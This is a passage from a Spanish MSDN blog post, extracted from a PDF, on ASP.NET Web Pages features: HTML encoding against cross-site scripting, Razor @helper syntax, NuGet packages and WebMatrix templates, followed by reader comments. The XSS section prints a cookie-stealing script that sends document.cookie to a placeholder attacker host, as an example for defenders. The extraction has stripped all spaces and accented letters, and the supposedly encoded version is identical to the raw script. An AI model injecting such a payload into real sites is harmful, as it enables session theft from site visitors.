introduzcaalgntipodedatooparametrizacin.Unejemplotpicoesintroducirunfragmentode
cdigoJavaScriptocultoenunpostdeunforoouncomentariodeunblog,deformaqueesescript
posteriormenteseejecuteparatodoslosusuariosqueaccedanadichoforoodichoblog.
SincodificacinHTML,elusuariomaliciosopodrainyectarelsiguientefragmentodescriptensupost
yelservidorposteriormenteloincluiracomopartedelHTMLdelapginadeformaquelos
navegadoreslointerpretarancomounaetiquetavlidadescriptqueseejecutarasinintervencindel
usuario:
<scripttype="text/javascript">
document.location='http://hacker.org/evil.asp?cookie='+document.cookie;
</script>
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
17/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
LacodificacinHTMLconvertiraelanteriorfragmentodetextoenlasiguientecadena,queel
navegadorwebinterpretaracomotextoliteralynocomounaetiquetaHTML/Scriptvlida,yquepor
tantoharainofensivoelataque:
<scripttype='text/javascript'>
document.location='http://hacker.org/evil.asp?cookie='+document.cookie;
</script>
CualquiermodelodeprogramacindeASP.NETsoportalacodificacinHTMLyprotegecontralos
ataquesdecrosssitescripting,peroenASP.NETWebPagessehahechodeformacompletamente
integradaenellenguajeyportantomssencillo.
3Cdigomejorestructuradoyreutilizableconlasintaxis@helper
Lasintxis@helperpermitecrearmtodoshelperqueencapsulenlgicadegeneracindeHTML,
proporcionandounamayorreutilizacindecdigoyfacilitandotambinlalecturadedichocdigo.
@helperCalculateDiscountPercent(Decimalprice,Decimaldiscount)
{
if(discount>0)
{
decimaldiscountPercent=Math.Round(((discount/price)*100M),1);
<span>@discountPercent%</span>
}
else
{
<span>Thisproductisnotdiscounted!</span>
}
}
<h1>Pricelist:</h1>
<ul>
@foreach(Productprodinproducts)
{
<li>
<spanclass="product">
Product:@prod.Description
</span>
<spanclass="price">
RegularPrice:@prod.Price
</span>
<spanclass="discountpercent">
Discount:@CalculateDiscountPercent(prod.Price,prod.Discount)
</span>
</li>
}
</ul>
4ExtensionesfcilmenteaccesiblesdesdeelPackageManager
ASP.NETWebPagesintroduceunconceptosimilaralospluginsdejQueryoWordPress,denominados
simplementepaquetes(packages).EstospaquetesestndisponiblesdesdeunfeedpblicoenInternet
llamadoNuGet,yelPackageManagerdeWebMatrixsimplificaladescargaeinstalacindeestos
paquetesparaintegrarlosennuestrasaplicaciones.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
18/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
Enlamayoradeloscasosestospaquetesestnimplementadoscomoclases.NETconmtodoshelper,
quepodemosutilizardesdelaspginasRazor.Porejemplo,elpaqueteTwitter.Helper1.0permite
entreotrascosasaadirunwidgetdeTwitteraunapginaRazor,quemuestrelosltimostweetsde
unabsquedadeterminada:
<div>
@TwitterGoodies.Search("asp.net")
</div>
EsteeselresultadoquegeneraelhelperSearchdeTwitter.Helper1.0,todoestoaadiendounasola
lneadecdigo:
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
19/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
5PlantillasdesitioswebenWebMatrixparareducirlostiemposdedesarrollo
SielegimosMicrosoftWebMatrixcomoentornodedesarrollo,podemosreduciranmslostiempos
dedesarrollo,creandolasaplicacionesASP.NETWebPagesapartirdelasplantillasqueincluye
WebMatrix.Estasplantillasincluyenlaestructurayfuncionalidadbsicasobrelasquecrearnuevas
aplicaciones.Lasplantillasexistentesimplementanfuncionalidadcomoautenticacindeusuariospor
formularios,procesamientodepedidosparatiendaonline,funcionalidadparasubirycompartirfotos
ocreacindecalendarios.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
20/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
Comments
FredyGuibert
1Jun201210:06AM
Mepareceexcelente,enlosltimosmesesheestadoprogramandoenasp.netymeparecerpido,
seguroyeficiente,graciasporloslinks!
DanielMossberg
4Jun20124:48AM
GraciasFredy,mealegroquetehayanresultadotiles.
juan_alberto
22Jul20122:53PM
Excelentegraciasporcompartir!!
AnassRahou
6Feb20138:47AM
Muchasgraciasporlainformacin,porelaclaramientomejordicho,porquemetenaconfundidolodelas
tresmodalidadesquedigamos,ahoraestmuchomejorexplcito.Gracias
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
21/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
Omar
25Sep20136:09AM
Excelente!
JManuMurillo
29Oct20133:23PM
Muchasgracias!!
Halo4
6Nov20133:05PM
Holaquetal.
Mepareceinteresanteelartculo.Solohayunpuntoquesedebedeaclarar:Elttulopuestocomo
"ASP.NETWebPages",comounmodelodeprogramacinpuederesultarconfusoparaalgunos
desarrolladores,yaquerealmenteesmsqueunmodelo,estambinlatecnologasobrelaculestael
desarrollodepginaswebdinmicasenASP.NET,as,WebFormsusaestatecnologadeWebPages
paralaimplementacindepginasenASP.NET.Creoquesecomprendemejorcomo"ASP.NETWEB
PagesconsintaxisRazor".SiempremehequejadodeJavaStrutsporlafamosaimplementacindesu
"cdigospaguetti",ybueno,meresultafamiliarqueesteconceptoseapliqueconestasintaxisRazor
dentrodelcdigodelainterfazdelapginaweb(WebPage).
Saludos!!
ChristianSandoval
22Nov20146:27AM
Excelenteaporte,meaclarasteunpardecosas.
Saludos.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
22/22